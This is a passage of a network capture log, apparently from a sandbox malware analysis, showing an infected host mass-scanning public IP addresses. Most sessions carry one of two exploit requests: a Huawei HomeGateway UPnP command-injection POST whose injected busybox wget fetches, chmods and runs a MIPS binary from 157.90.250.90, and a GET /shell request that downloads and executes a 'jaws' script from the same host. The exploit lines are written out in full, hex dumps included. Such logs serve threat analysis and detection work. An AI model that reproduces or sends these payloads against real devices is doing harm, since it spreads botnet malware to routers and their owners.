Dec 3, 2024 21:02:16.302869081 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	39880	126.50.189.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.555861950 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	56554	42.122.48.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.707868099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	42558	119.185.215.181	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.708389044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	37676	46.232.159.119	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.708878040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	60718	38.170.210.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.709403992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	52304	13.161.65.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:17.581264019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	55724	88.184.252.31	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:17.581940889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	58402	34.95.27.140	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:18.852885962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	58054	157.49.138.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:19.596385956 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	33004	193.179.200.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:19.596868992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	41348	151.95.191.68	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:19.715631962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	36206	89.202.225.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:19.716506004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	35656	156.202.173.17	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:20.462162018 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	49956	41.238.212.152	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:20.579535961 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	48576	156.14.30.201	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:20.580383062 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	50410	156.217.23.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:20.581212997 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	43726	41.128.130.75	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:20.581825972 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	59086	144.235.128.230	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:21.742743015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	39886	41.155.142.141	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:22.480731010 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	57306	41.205.7.98	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:22.481224060 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	55382	41.87.59.115	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:23.472722054 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 